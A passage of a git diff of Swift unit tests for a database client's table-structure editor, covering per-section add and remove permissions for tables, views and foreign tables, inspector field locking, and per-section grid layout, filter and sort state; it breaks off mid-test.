+        #expect(!editor.canAdd(.columns))
+        #expect(!editor.canRemoveSelection(in: .columns))
+        #expect(!StructureFooterPolicy.labels(for: .columns).add.isEmpty)
+        #expect(editor.refusal(adding: .columns)?.isEmpty == false)
     }
 
     @Test("A materialized view offers an index and refuses a column")
-    func materializedViewSplitsByTab() {
-        let indexes = resolve(tab: .indexes, kind: .materializedView)
-        #expect(indexes.canAdd)
-        #expect(indexes.canRemove)
-        #expect(indexes.unavailableReason == nil)
-
-        let columns = resolve(tab: .columns, kind: .materializedView)
-        #expect(!columns.canAdd)
-        #expect(columns.unavailableReason?.isEmpty == false)
+    func materializedViewSplitsBySection() {
+        let editor = makeEditor(kind: .materializedView)
+        selectFirst(.indexes, in: editor)
+        #expect(editor.canAdd(.indexes))
+        #expect(editor.canRemoveSelection(in: .indexes))
+        #expect(editor.refusal(adding: .indexes) == nil)
+
+        #expect(!editor.canAdd(.columns))
+        #expect(editor.refusal(adding: .columns)?.isEmpty == false)
     }
 
     @Test("A foreign table offers a check constraint and refuses an index")
-    func foreignTableSplitsByTab() {
-        let checks = resolve(tab: .checkConstraints, kind: .foreignTable)
-        #expect(checks.canAdd)
+    func foreignTableSplitsBySection() {
+        let editor = makeEditor(kind: .foreignTable)
+        #expect(editor.canAdd(.checkConstraints))
 
-        let indexes = resolve(tab: .indexes, kind: .foreignTable)
-        #expect(!indexes.canAdd)
-        #expect(indexes.unavailableReason?.isEmpty == false)
+        #expect(!editor.canAdd(.indexes))
+        #expect(editor.refusal(adding: .indexes)?.isEmpty == false)
     }
 
     @Test("A foreign table refuses a foreign key, which is the constraint PostgreSQL rejects on one")
     func foreignTableRefusesForeignKeys() {
-        let keys = resolve(tab: .foreignKeys, kind: .foreignTable)
-        #expect(!keys.canAdd)
-        #expect(keys.unavailableReason?.isEmpty == false)
+        let editor = makeEditor(kind: .foreignTable)
+        #expect(!editor.canAdd(.foreignKeys))
+        #expect(editor.refusal(adding: .foreignKeys)?.isEmpty == false)
     }
 
-    /// Today's behaviour, preserved on purpose: an engine that cannot edit structure at all hides the
-    /// pair rather than showing two dead buttons on every tab.
-    @Test("An engine that cannot edit structure hides the pair entirely")
-    func readOnlyEngineHidesThePair() {
-        let capability = resolve(tab: .columns, kind: .table, canEditSchema: false)
-        #expect(!capability.isActive)
-        #expect(capability.addLabel.isEmpty)
-        #expect(!capability.canAdd)
-        #expect(!capability.canRemove)
+    // The pair stays on screen beneath every section; a table whose structure cannot be edited dims it.
+    @Test("A table the connection cannot edit offers neither button")
+    func uneditableTableDimsThePair() {
+        let editor = makeEditor(kind: .table, isSessionBound: true)
+        for section in StructureSection.allCases {
+            selectFirst(section, in: editor)
+            #expect(!editor.canAdd(section), "\(section.rawValue)")
+            #expect(!editor.canRemoveSelection(in: section), "\(section.rawValue)")
+        }
     }
 
     @Test("Nothing selected dims Remove without dimming Add and without inventing a reason")
     func emptySelectionOnlyDimsRemove() {
-        let capability = resolve(tab: .columns, kind: .table, hasSelection: false)
-        #expect(capability.canAdd)
-        #expect(!capability.canRemove)
-        #expect(capability.unavailableReason == nil)
-    }
-
-    @Test("The tabs with nothing to add have no operation and no pair")
-    func nonEditableTabsHaveNoPair() {
-        for tab in [StructureTab.options, .ddl, .parts, .triggers] {
-            #expect(StructureFooterPolicy.operation(forAdding: tab) == nil, "\(tab.rawValue)")
-            #expect(StructureFooterPolicy.operation(forRemoving: tab) == nil, "\(tab.rawValue)")
-            #expect(!resolve(tab: tab, kind: .table).isActive, "\(tab.rawValue)")
-        }
+        let editor = makeEditor(kind: .table)
+        #expect(editor.canAdd(.columns))
+        #expect(!editor.canRemoveSelection(in: .columns))
+        #expect(editor.refusal(adding: .columns) == nil)
     }
 
-    @Test("Each editable tab names the add and the drop of its own object")
-    func operationsMatchTheirTabs() {
+    @Test("Each section names the add and the drop of its own object")
+    func operationsMatchTheirSections() {
         #expect(StructureFooterPolicy.operation(forAdding: .columns) == .addColumn)
         #expect(StructureFooterPolicy.operation(forRemoving: .columns) == .dropColumn)
         #expect(StructureFooterPolicy.operation(forAdding: .indexes) == .addIndex)
@@ -143,13 +156,25 @@ struct StructureFooterPolicyTests {
         #expect(StructureFooterPolicy.operation(forRemoving: .checkConstraints) == .dropCheckConstraint)
     }
 
-    /// An engine nobody has measured falls back to tables only, so every non-table dims rather than
-    /// offering an edit its server may refuse.
+    @Test("Each section labels both buttons, and no two sections share a label")
+    func everySectionHasItsOwnLabels() {
+        let labels = StructureSection.allCases.map { StructureFooterPolicy.labels(for: $0) }
+        for (section, label) in zip(StructureSection.allCases, labels) {
+            #expect(!label.add.isEmpty, "\(section.rawValue)")
+            #expect(!label.remove.isEmpty, "\(section.rawValue)")
+            #expect(label.add != label.remove, "\(section.rawValue)")
+        }
+        let adds = Set(labels.map { $0.add })
+        let removes = Set(labels.map { $0.remove })
+        #expect(adds.count == StructureSection.allCases.count)
+        #expect(removes.count == StructureSection.allCases.count)
+    }
+
+    // An engine nobody has measured falls back to tables only, so every non-table dims.
     @Test("An uncurated engine dims the pair on a view")
     func uncuratedEngineDimsNonTables() {
-        let capability = resolve(tab: .columns, kind: .view, matrix: .tablesOnly)
-        #expect(!capability.canAdd)
-        #expect(capability.isActive)
-        #expect(capability.unavailableReason?.isEmpty == false)
+        let editor = makeEditor(kind: .view, type: .mysql)
+        #expect(!editor.canAdd(.columns))
+        #expect(editor.refusal(adding: .columns)?.isEmpty == false)
     }
 }
diff --git a/apple/TableProTests/Views/Structure/StructureGridAdapterAddRowTests.swift b/apple/TableProTests/Views/Structure/StructureGridAdapterAddRowTests.swift
deleted file mode 100644
index a013912f7e..0000000000
--- a/apple/TableProTests/Views/Structure/StructureGridAdapterAddRowTests.swift
+++ /dev/null
@@ -1,204 +0,0 @@
-//
-//  StructureGridAdapterAddRowTests.swift
-//  TableProTests
-//
-//  Add and Delete per sub-tab, the contract the footer +/- buttons, Cmd+Shift+N and the row menus share.
-//
-
-import Foundation
-@testable import TablePro
-import TableProPluginKit
-import Testing
-
-@MainActor
-struct StructureGridAdapterAddRowTests {
-    private func makeAdapter(
-        selectedTab: StructureTab = .columns,
-        type: DatabaseType = .mysql,
-        objectKind: TableInfo.TableType = .table,
-        manager: StructureChangeManager = StructureChangeManager()
-    ) -> (StructureGridAdapter, StructureChangeManager) {
-        let adapter = StructureGridAdapter(
-            structureChangeManager: manager,
-            connection: TestFixtures.makeConnection(type: type),
-            tableName: "t",
-            databaseName: "db",
-            schemaName: nil,
-            objectKind: objectKind,
-            isSessionBound: false
-        )
-        adapter.store.switchSubTab(to: selectedTab)
-        adapter.refresh()
-        return (adapter, manager)
-    }
-
-    private func row(_ sourceIndex: Int) -> RowID {
-        StructureRowProvider.rowID(forSourceIndex: sourceIndex)
-    }
-
-    private func counts(_ manager: StructureChangeManager) -> [Int] {
-        [manager.workingColumns.count, manager.workingIndexes.count, manager.workingForeignKeys.count]
-    }
-
-    @Test("Columns sub-tab: Add Row appends a placeholder column")
-    func columnsTabAddsColumn() {
-        let (adapter, manager) = makeAdapter(selectedTab: .columns)
-        let before = manager.workingColumns.count
-        adapter.gridAddRow()
-        #expect(manager.workingColumns.count == before + 1)
-    }
-
-    @Test("Indexes sub-tab: Add Row appends a placeholder index")
-    func indexesTabAddsIndex() {
-        let (adapter, manager) = makeAdapter(selectedTab: .indexes)
-        let before = manager.workingIndexes.count
-        adapter.gridAddRow()
-        #expect(manager.workingIndexes.count == before + 1)
-    }
-
-    @Test("Foreign keys sub-tab: Add Row appends a placeholder foreign key")
-    func foreignKeysTabAddsForeignKey() {
-        let (adapter, manager) = makeAdapter(selectedTab: .foreignKeys)
-        let before = manager.workingForeignKeys.count
-        adapter.gridAddRow()
-        #expect(manager.workingForeignKeys.count == before + 1)
-    }
-
-    @Test("Add Row does nothing on a sub-tab without a grid", arguments: [StructureTab.options, .ddl, .parts, .triggers])
-    func gridlessTabAddsNothing(tab: StructureTab) {
-        let (adapter, manager) = makeAdapter(selectedTab: tab)
-        let before = counts(manager)
-        adapter.gridAddRow()
-        #expect(counts(manager) == before)
-    }
-
-    @Test("Delete does nothing on a sub-tab without a grid", arguments: [StructureTab.options, .ddl, .parts, .triggers])
-    func gridlessTabDeletesNothing(tab: StructureTab) {
-        let (adapter, manager) = makeAdapter(selectedTab: tab)
-        let before = counts(manager)
-        adapter.gridDeleteRows([row(0)])
-        #expect(counts(manager) == before)
-    }
-
-    // SQLite's curated snapshot overrides neither supportsAddIndex nor supportsDropIndex, so both default to true.
-    @Test("Indexes sub-tab on SQLite: Add Row appends an index")
-    func sqliteIndexesAddsAnIndex() {
-        let (adapter, manager) = makeAdapter(selectedTab: .indexes, type: .sqlite)
-        let before = manager.workingIndexes.count
-        adapter.gridAddRow()
-        #expect(manager.workingIndexes.count == before + 1)
-    }
-
-    @Test("Columns sub-tab: Delete removes the column the row names")
-    func columnsTabDeleteRemovesColumn() {
-        let (adapter, manager) = makeAdapter(selectedTab: .columns)
-        adapter.gridAddRow()
-        let after = manager.workingColumns.count
-        #expect(after > 0)
-        adapter.gridDeleteRows([row(after - 1)])
-        #expect(manager.workingColumns.count == after - 1)
-    }
-
-    @Test("Indexes sub-tab: Delete removes the index the row names")
-    func indexesTabDeleteRemovesIndex() {
-        let (adapter, manager) = makeAdapter(selectedTab: .indexes)
-        adapter.gridAddRow()
-        let after = manager.workingIndexes.count
-        #expect(after > 0)
-        adapter.gridDeleteRows([row(after - 1)])
-        #expect(manager.workingIndexes.count == after - 1)
-    }
-
-    @Test("Foreign keys sub-tab: Delete removes the foreign key the row names")
-    func foreignKeysTabDeleteRemovesForeignKey() {
-        let (adapter, manager) = makeAdapter(selectedTab: .foreignKeys)
-        adapter.gridAddRow()
-        let after = manager.workingForeignKeys.count
-        #expect(after > 0)
-        adapter.gridDeleteRows([row(after - 1)])
-        #expect(manager.workingForeignKeys.count == after - 1)
-    }
-
-    @Test("Indexes sub-tab on SQLite: Delete removes an index")
-    func sqliteIndexesDeletesAnIndex() {
-        let manager = StructureChangeManager()
-        manager.addIndex(.placeholder())
-        let (adapter, _) = makeAdapter(selectedTab: .indexes, type: .sqlite, manager: manager)
-        let before = manager.workingIndexes.count
-
-        adapter.gridDeleteRows([row(before - 1)])
-
-        #expect(manager.workingIndexes.count == before - 1)
-    }
-
-    @Test("Deleting the last row selects the row above it")
-    func deletingTheLastRowSelectsTheOneAbove() {
-        let manager = StructureChangeManager()
-        for _ in 0..<3 {
-            manager.addColumn(.placeholder())
-        }
-        let (adapter, _) = makeAdapter(selectedTab: .columns, manager: manager)
-        adapter.model.selectRows([row(2)])
-
-        adapter.gridDeleteRows([row(2)])
-
-        #expect(manager.workingColumns.count == 2)
-        #expect(adapter.model.selectedRowIDs == [row(1)])
-    }
-
-    // MARK: - Per object kind
-
-    // Cmd+Shift+N, the row menus and the footer all reach the adapter, so it refuses for itself (#2726).
-    @Test("A PostgreSQL view refuses an added column, whatever reaches the adapter")
-    func viewRefusesAnAddedColumn() {
-        let (adapter, manager) = makeAdapter(selectedTab: .columns, type: .postgresql, objectKind: .view)
-        adapter.gridAddRow()
-        #expect(manager.workingColumns.isEmpty)
-        #expect(!adapter.model.configuration.commands.contains(.addRow))
-    }
-
-    @Test("A PostgreSQL view refuses an added index and a materialized view accepts one")
-    func indexesFollowTheObjectKind() {
-        let (view, viewManager) = makeAdapter(selectedTab: .indexes, type: .postgresql, objectKind: .view)
-        view.gridAddRow()
-        #expect(viewManager.workingIndexes.isEmpty)
-
-        let (matview, matviewManager) = makeAdapter(
-            selectedTab: .indexes, type: .postgresql, objectKind: .materializedView
-        )
-        matview.gridAddRow()
-        #expect(matviewManager.workingIndexes.count == 1)
-    }
-
-    @Test("A PostgreSQL materialized view refuses a foreign key")
-    func materializedViewRefusesAForeignKey() {
-        let (adapter, manager) = makeAdapter(
-            selectedTab: .foreignKeys, type: .postgresql, objectKind: .materializedView
-        )
-        adapter.gridAddRow()
-        #expect(manager.workingForeignKeys.isEmpty)
-    }
-
-    @Test("A view refuses to drop a column its own grid is showing")
-    func viewRefusesADroppedColumn() {
-        let manager = StructureChangeManager()
-        manager.addColumn(.placeholder())
-        #expect(manager.workingColumns.count == 1)
-        let (view, _) = makeAdapter(selectedTab: .columns, type: .postgresql, objectKind: .view, manager: manager)
-
-        view.gridDeleteRows([row(0)])
-
-        #expect(manager.workingColumns.count == 1)
-        #expect(!view.model.configuration.commands.contains(.deleteRows))
-    }
-
-    @Test("A system table refuses every add", arguments: [StructureTab.columns, .indexes, .foreignKeys, .checkConstraints])
-    func systemTableRefusesEveryAdd(tab: StructureTab) {
-        let (adapter, manager) = makeAdapter(selectedTab: tab, type: .postgresql, objectKind: .systemTable)
-        adapter.gridAddRow()
-        #expect(manager.workingColumns.isEmpty)
-        #expect(manager.workingIndexes.isEmpty)
-        #expect(manager.workingForeignKeys.isEmpty)
-        #expect(manager.workingCheckConstraints.isEmpty)
-    }
-}
diff --git a/apple/TableProTests/Views/Structure/StructureGridAdapterInspectorTests.swift b/apple/TableProTests/Views/Structure/StructureGridAdapterInspectorTests.swift
deleted file mode 100644
index 8137a54eb2..0000000000
--- a/apple/TableProTests/Views/Structure/StructureGridAdapterInspectorTests.swift
+++ /dev/null
@@ -1,278 +0,0 @@
-//
-//  StructureGridAdapterInspectorTests.swift
-//  TableProTests
-//
-
-import Foundation
-@testable import TablePro
-import TableProPluginKit
-import Testing
-
-@MainActor
-struct StructureGridAdapterInspectorTests {
-    private func connection(_ type: DatabaseType = .mysql) -> DatabaseConnection {
-        DatabaseConnection(
-            name: "Test",
-            host: "localhost",
-            port: type == .postgresql ? 5_432 : 3_306,
-            database: "test",
-            username: "root",
-            type: type
-        )
-    }
-
-    private func loadSchema(into manager: StructureChangeManager) {
-        manager.loadSchema(
-            tableName: "users",
-            columns: [
-                ColumnInfo(name: "id", dataType: "INT", isNullable: false, isPrimaryKey: true,
-                           defaultValue: nil, extra: nil, charset: nil, collation: nil, comment: nil),
-                ColumnInfo(name: "email", dataType: "VARCHAR(255)", isNullable: true, isPrimaryKey: false,
-                           defaultValue: nil, extra: nil, charset: nil, collation: nil, comment: nil)
-            ],
-            indexes: [],
-            foreignKeys: [],
-            primaryKey: ["id"]
-        )
-    }
-
-    // The session owns the adapter in the app, and its search text is what filters the provider.
-    private func makeSession(
-        type: DatabaseType = .mysql,
-        objectKind: TableInfo.TableType = .table,
-        tab: StructureTab = .columns,
-        searchText: String = ""
-    ) -> StructureEditingSession {
-        let session = StructureEditingSession(
-            identity: "test.users",
-            connection: connection(type),
-            databaseName: "test",
-            schemaName: nil,
-            tableName: "users",
-            objectKind: objectKind
-        )
-        loadSchema(into: session.changeManager)
-        session.selectedTab = tab
-        session.searchText = searchText
-        session.gridAdapter.refresh()
-        return session
-    }
-
-    private func fieldIndex(_ adapter: StructureGridAdapter, _ field: StructureColumnField) throws -> Int {
-        try #require(adapter.provider.orderedColumnFields.firstIndex(of: field))
-    }
-
-    @Test("A row is read-only while a save holds the edits, and editable again once it lets go")
-    func heldSaveMakesTheRowReadOnly() throws {
-        let session = makeSession()
-        let manager = session.changeManager
-        let adapter = session.gridAdapter
-        var email = try #require(manager.workingColumns.first { $0.name == "email" })
-        email.comment = "Contact"
-        manager.updateColumn(id: email.id, with: email)
-        adapter.refresh()
-
-        let snapshot = try #require(manager.holdForSave())
-        #expect(adapter.inspectorRow(atDisplayRow: 1)?.isEditable == false)
-
-        manager.releaseHold(snapshot, written: false)
-        #expect(adapter.inspectorRow(atDisplayRow: 1)?.isEditable == true)
-    }
-
-    // A hold changes no row, so the inspector kept the fields it built before the save and dropped what was typed.
-    @Test("A save hold and its release each rebuild the inspector")
-    func heldSaveRebuildsTheInspector() throws {
-        let fixture = CoordinatorFixture(connection: connection())
-        let session = makeSession()
-        let manager = session.changeManager
-        let adapter = session.gridAdapter
-        adapter.coordinator = fixture.coordinator
-        var email = try #require(manager.workingColumns.first { $0.name == "email" })
-        email.comment = "Contact"
-        manager.updateColumn(id: email.id, with: email)
-        adapter.refresh()
-        let beforeHold = fixture.coordinator.inspectorRowSourceRevision
-
-        let snapshot = try #require(manager.holdForSave())
-        adapter.refresh()
-        #expect(fixture.coordinator.inspectorRowSourceRevision == beforeHold + 1)
-
-        manager.releaseHold(snapshot, written: false)
-        adapter.refresh()
-        #expect(fixture.coordinator.inspectorRowSourceRevision == beforeHold + 2)
-    }
-
-    @Test("The published row describes the structure grid, not the data grid")
-    func publishedRowDescribesStructure() throws {
-        let session = makeSession()
-        let adapter = session.gridAdapter
-        let row = try #require(adapter.inspectorRow(atDisplayRow: 1))
-
-        #expect(row.fields.map(\.name) == adapter.provider.orderedColumnFields.map(\.displayName))
-        #expect(row.fields.first?.value == "email")
-    }
-
-    @Test("An inspector edit lands on the column the display row points at under a search")
-    func editResolvesFilteredDisplayRow() throws {
-        let session = makeSession(searchText: "email")
-        let adapter = session.gridAdapter
-        #expect(adapter.model.rowCount == 1)
-
-        adapter.commitInspectorField(
-            displayRow: 0,
-            fieldIndex: try fieldIndex(adapter, .name),
-            value: "user_email"
-        )
-
-        #expect(session.changeManager.workingColumns[0].name == "id")
-        #expect(session.changeManager.workingColumns[1].name == "user_email")
-    }
-
-    @Test("An inspector edit records a pending schema change")
-    func editRecordsPendingChange() throws {
-        let session = makeSession()
-        let adapter = session.gridAdapter
-
-        adapter.commitInspectorField(
-            displayRow: 1,
-            fieldIndex: try fieldIndex(adapter, .type),
-            value: "TEXT"
-        )
-
-        #expect(session.changeManager.hasChanges)
-        #expect(session.changeManager.workingColumns[1].dataType == "TEXT")
-    }
-
-    @Test("A flag field commits the value the dropdown offers")
-    func flagEditCommitsBooleanValue() throws {
-        let session = makeSession()
-        let adapter = session.gridAdapter
-
-        adapter.commitInspectorField(
-            displayRow: 1,
-            fieldIndex: try fieldIndex(adapter, .nullable),
-            value: "NO"
-        )
-
-        #expect(session.changeManager.workingColumns[1].isNullable == false)
-    }
-
-    // A Foreign Keys inspector built before a reference list arrived holds only "Loading…" until it rebuilds.
-    @Test("A reference list landing rebuilds the structure inspector")
-    func referenceListArrivalRebuildsInspector() {
-        let fixture = CoordinatorFixture(connection: connection())
-        let session = makeSession(tab: .foreignKeys)
-        session.gridAdapter.coordinator = fixture.coordinator
-        let revision = fixture.coordinator.inspectorRowSourceRevision
-
-        session.gridAdapter.referenceMenus.onListsChanged?()
-
-        #expect(fixture.coordinator.inspectorRowSourceRevision == revision + 1)
-    }
-
-    @Test("Before its first refresh the adapter publishes nothing")
-    func beforeRefreshPublishesNothing() {
-        let manager = StructureChangeManager()
-        loadSchema(into: manager)
-        let adapter = StructureGridAdapter(
-            structureChangeManager: manager,
-            connection: connection(),
-            tableName: "users",
-            databaseName: "test",
-            schemaName: nil,
-            objectKind: .table,
-            isSessionBound: false
-        )
-
-        #expect(adapter.inspectorRow(atDisplayRow: 0) == nil)
-    }
-
-    @Test("The new-table grid publishes its own rows and takes edits")
-    func createTableAdapterPublishesRows() throws {
-        let manager = StructureChangeManager()
-        manager.addNewColumn()
-        let adapter = CreateTableGridAdapter(structureChangeManager: manager, connection: connection())
-        adapter.refresh()
-
-        let row = try #require(adapter.inspectorRow(atDisplayRow: 0))
-        #expect(row.isEditable)
-
-        let nameIndex = try #require(adapter.provider.orderedColumnFields.firstIndex(of: .name))
-        adapter.commitInspectorField(displayRow: 0, fieldIndex: nameIndex, value: "sku")
-        #expect(manager.workingColumns[0].name == "sku")
-    }
-
-    // MARK: - A kind that locks fields
-
-    // The grid locked a materialized view's Type, Nullable and Default while the inspector offered all three.
-    private func makeMaterializedView(tab: StructureTab = .columns) -> StructureEditingSession {
-        makeSession(type: .postgresql, objectKind: .materializedView, tab: tab)
-    }
-
-    @Test("A materialized view's inspector locks the fields its grid locks")
-    func materializedViewInspectorLocksFields() throws {
-        let adapter = makeMaterializedView().gridAdapter
-        let row = try #require(adapter.inspectorRow(atDisplayRow: 1))
-
-        #expect(row.isEditable)
-        #expect(row.fields[try fieldIndex(adapter, .name)].isEditable)
-        #expect(row.fields[try fieldIndex(adapter, .comment)].isEditable)
-        #expect(!row.fields[try fieldIndex(adapter, .type)].isEditable)
-        #expect(!row.fields[try fieldIndex(adapter, .nullable)].isEditable)
-        #expect(!row.fields[try fieldIndex(adapter, .defaultValue)].isEditable)
-    }
-
-    @Test("The grid locks the same headings the inspector locks")
-    func gridLocksTheSameHeadings() throws {
-        let adapter = makeMaterializedView().gridAdapter
-        let headings = adapter.provider.columns
-        let locked = adapter.model.configuration.lockedColumns
-
-        #expect(locked.contains(headings[try fieldIndex(adapter, .type)]))
-        #expect(locked.contains(headings[try fieldIndex(adapter, .nullable)]))
-        #expect(!locked.contains(headings[try fieldIndex(adapter, .name)]))
-    }
-
-    @Test("A locked field refuses the edit even when it arrives through the inspector")
-    func lockedFieldRefusesTheCommit() throws {
-        let session = makeMaterializedView()
-        let adapter = session.gridAdapter
-
-        adapter.commitInspectorField(displayRow: 1, fieldIndex: try fieldIndex(adapter, .type), value: "TEXT")
-        adapter.commitInspectorField(displayRow: 1, fieldIndex: try fieldIndex(adapter, .defaultValue), value: "'x'")
-
-        #expect(!session.changeManager.hasChanges)
-        #expect(session.changeManager.workingColumns[1].dataType == "VARCHAR(255)")
-        #expect(session.changeManager.workingColumns[1].defaultValue == nil)
-    }
-
-    @Test("An unlocked field on the same object still takes the edit")
-    func unlockedFieldTakesTheCommit() throws {
-        let session = makeMaterializedView()
-        let adapter = session.gridAdapter
-
-        adapter.commitInspectorField(displayRow: 1, fieldIndex: try fieldIndex(adapter, .name), value: "mail")
-
-        #expect(session.changeManager.workingColumns[1].name == "mail")
-    }
-
-    @Test("A table locks nothing, so every field stays open")
-    func tableLocksNothing() {
-        let adapter = makeSession().gridAdapter
-        #expect(adapter.lockedFieldIndices.isEmpty)
-        #expect(adapter.model.configuration.lockedColumns.isEmpty)
-    }
-
-    @Test("The row commands offer Delete only where the object accepts the drop")
-    func rowCommandsFollowTheGate() {
-        let columns = makeMaterializedView(tab: .columns).gridAdapter
-        #expect(!columns.canStageRemoveForSelectedTab)
-        #expect(!columns.canStageAddForSelectedTab)
-        #expect(columns.model.configuration.commands.isDisjoint(with: [.deleteRows, .addRow, .duplicateRows]))
-
-        let indexes = makeMaterializedView(tab: .indexes).gridAdapter
-        #expect(indexes.canStageRemoveForSelectedTab)
-        #expect(indexes.canStageAddForSelectedTab)
-        #expect(indexes.model.configuration.commands.isSuperset(of: [.deleteRows, .addRow, .duplicateRows]))
-    }
-}
diff --git a/apple/TableProTests/Views/Structure/StructureGridStateStoreTests.swift b/apple/TableProTests/Views/Structure/StructureGridStateStoreTests.swift
index ee853acd11..73bca4489b 100644
--- a/apple/TableProTests/Views/Structure/StructureGridStateStoreTests.swift
+++ b/apple/TableProTests/Views/Structure/StructureGridStateStoreTests.swift
@@ -12,15 +12,15 @@ import Testing
 
 @MainActor
 struct StructureGridStateStoreTests {
-    private func makeSession(table: String = "orders_\(UUID().uuidString.prefix(8))") -> StructureEditingSession {
-        let session = StructureEditingSession(
-            identity: "shop.\(table)",
-            connection: TestFixtures.makeConnection(database: "shop", type: .mysql),
-            databaseName: "shop",
-            schemaName: nil,
-            tableName: table
-        )
-        session.changeManager.loadSchema(
+    private let suite: EphemeralDefaults
+
+    init() throws {
+        suite = try EphemeralDefaults()
+    }
+
+    private func makeEditor(table: String = "orders_\(UUID().uuidString.prefix(8))") -> StructureDefinitionEditor {
+        let manager = StructureChangeManager()
+        manager.loadSchema(
             tableName: table,
             columns: [
                 ColumnInfo(name: "id", dataType: "INT", isNullable: false, isPrimaryKey: true),
@@ -30,108 +30,172 @@ struct StructureGridStateStoreTests {
             foreignKeys: [],
             primaryKey: ["id"]
         )
-        session.gridAdapter.refresh()
-        return session
+        let editor = StructureDefinitionEditor(
+            manager: manager,
+            context: .existingTable(
+                connection: TestFixtures.makeConnection(database: "shop", type: .mysql),
+                databaseName: "shop",
+                schemaName: nil,
+                tableName: table,
+                objectKind: .table,
+                isSessionBound: false
+            ),
+            defaults: suite.defaults
+        )
+        editor.refresh()
+        return editor
     }
 
-    private func nameHeading(_ session: StructureEditingSession) throws -> String {
-        try #require(session.gridModel.columns.column(at: 0)).name
+    private func nameHeading(_ model: DataGridModel) throws -> String {
+        try #require(model.columns.column(at: 0)).name
     }
 
-    @Test("A column resized in the Structure grid stays on the session and never reaches the table's saved layout")
+    @Test("A column resized in a section's grid stays on its store and never reaches the table's saved layout")
     func resizeNeverWritesTheTableLayout() throws {
-        let session = makeSession()
-        let model = session.gridModel
-        let name = try nameHeading(session)
+        let editor = makeEditor()
+        let adapter = editor.adapter(for: .columns)
+        let model = adapter.model
+        let name = try nameHeading(model)
         let tableKey = ColumnLayoutTableKey(
-            connectionId: session.connection.id,
+            connectionId: editor.context.connection.id,
             databaseName: "shop",
             schemaName: nil,
-            tableName: session.tableName
+            tableName: editor.context.tableName
         )
 
         model.columnGeometryDidChange(widths: [name: 260], order: nil)
 
         #expect(model.store.layoutScope == .ephemeral)
-        #expect(session.columnLayouts[.columns]?.columnWidths[name] == 260)
-        #expect(model.store.columnLayout.columnWidths[name] == 260)
+        #expect(adapter.store.columnLayout.columnWidths[name] == 260)
         #expect(FileColumnLayoutPersister.shared.load(for: tableKey) == nil)
     }
 
-    @Test("Each sub-tab keeps its own column layout")
-    func layoutIsPerSubTab() throws {
-        let session = makeSession()
-        let model = session.gridModel
-        let name = try nameHeading(session)
-        model.columnGeometryDidChange(widths: [name: 260], order: nil)
+    @Test("Each section keeps its own column layout")
+    func layoutIsPerSection() throws {
+        let editor = makeEditor()
+        let columns = editor.adapter(for: .columns)
+        let indexes = editor.adapter(for: .indexes)
+        let name = try nameHeading(columns.model)
 
-        session.selectedTab = .indexes
-        session.gridAdapter.refresh()
-        #expect(model.store.columnLayout.columnWidths[name] == nil)
-        model.columnGeometryDidChange(widths: [name: 180], order: nil)
+        columns.model.columnGeometryDidChange(widths: [name: 260], order: nil)
+        #expect(indexes.store.columnLayout.columnWidths[name] == nil)
+        indexes.model.columnGeometryDidChange(widths: [name: 180], order: nil)
 
-        session.selectedTab = .columns
-        session.gridAdapter.refresh()
-        #expect(model.store.columnLayout.columnWidths[name] == 260)
-        #expect(session.columnLayouts[.indexes]?.columnWidths[name] == 180)
+        #expect(columns.store.columnLayout.columnWidths[name] == 260)
+        #expect(indexes.store.columnLayout.columnWidths[name] == 180)
     }
 
-    @Test("Another sub-tab starts with no value filter and no selection")
-    func subTabSwitchStartsTheViewOver() throws {
-        let session = makeSession()
-        let model = session.gridModel
-        let name = try nameHeading(session)
+    @Test("A value filter in one section leaves the others unfiltered")
+    func valueFilterIsPerSection() throws {
+        let editor = makeEditor()
+        let columns = editor.adapter(for: .columns)
+        let indexes = editor.adapter(for: .indexes)
+        let name = try nameHeading(columns.model)
         var filter = GridValueFilterState()
         filter.set(ColumnValueFilter(selectedValues: ["id"], includesNull: false), columnName: name, forColumn: 0)
-        model.setValueFilter(filter)
-        model.selectRows([StructureRowProvider.rowID(forSourceIndex: 0)])
-        #expect(model.store.valueFilter.isActive)
-        #expect(!model.selection.isEmpty)
-
-        session.selectedTab = .indexes
-        session.gridAdapter.refresh()
-
-        #expect(!model.store.valueFilter.isActive)
-        #expect(model.store.selectionSnapshot.isEmpty)
-        #expect(model.selection.isEmpty)
-        #expect(model.rowCount == 1)
+
+        columns.model.setValueFilter(filter)
+        editor.refresh()
+
+        #expect(columns.store.valueFilter.isActive)
+        #expect(columns.model.rowCount == 1)
+        #expect(!indexes.store.valueFilter.isActive)
+        #expect(indexes.model.rowCount == 1)
     }
 
-    @Test("The sort lives on the session, which is what orders the provider's rows")
-    func sortLivesOnTheSession() {
-        let session = makeSession()
-        let model = session.gridModel
+    @Test("The sort lives on the section's store, which is what orders the provider's rows")
+    func sortLivesOnTheSectionStore() {
+        let editor = makeEditor()
+        let adapter = editor.adapter(for: .columns)
+        let model = adapter.model
         let descending = SortState(columns: [SortColumn(columnIndex: 0, direction: .descending)], source: .user)
 
         model.setSort(descending)
 
-        #expect(session.sortState == descending)
-        #expect(session.sortDescriptor?.column == 0)
-        #expect(session.sortDescriptor?.ascending == false)
+        #expect(adapter.store.sortState == descending)
         #expect(model.rows.rows.compactMap { $0.values.first?.asText } == ["total", "id"])
+        #expect(editor.adapter(for: .indexes).store.sortState.columns.isEmpty)
+    }
+
+    @Test("A sort survives a refresh of the definitions")
+    func sortSurvivesRefresh() {
+        let editor = makeEditor()
+        let adapter = editor.adapter(for: .columns)
+        adapter.model.setSort(SortState(columns: [SortColumn(columnIndex: 0, direction: .descending)], source: .user))
+
+        var amount = EditableColumnDefinition.placeholder()
+        amount.name = "amount"
+        amount.dataType = "INT"
+        editor.manager.addColumn(amount)
+        editor.refresh()
+
+        #expect(adapter.model.rows.rows.compactMap { $0.values.first?.asText } == ["total", "id", "amount"])
     }
 
     // The provider sorts by one key, so a secondary key the header appended is dropped (changed on purpose).
     @Test("A secondary sort key is dropped, since the provider sorts by one column")
     func secondarySortKeyIsDropped() {
-        let session = makeSession()
-        let model = session.gridModel
+        let editor = makeEditor()
+        let adapter = editor.adapter(for: .columns)
         let primary = SortColumn(columnIndex: 1, direction: .ascending)
 
-        model.setSort(SortState(columns: [primary, SortColumn(columnIndex: 0, direction: .descending)], source: .user))
+        adapter.model.setSort(SortState(columns: [primary, SortColumn(columnIndex: 0, direction: .descending)], source: .user))
 
-        #expect(session.sortState.columns == [primary])
-        #expect(model.store.sortState.columns == [primary])
+        #expect(adapter.store.sortState.columns == [primary])
+        #expect(adapter.model.store.sortState.columns == [primary])
     }
 
-    @Test("Create Table's grid is ephemeral too")
+    @Test("Create Table's grids are ephemeral too")
     func createTableIsEphemeral() {
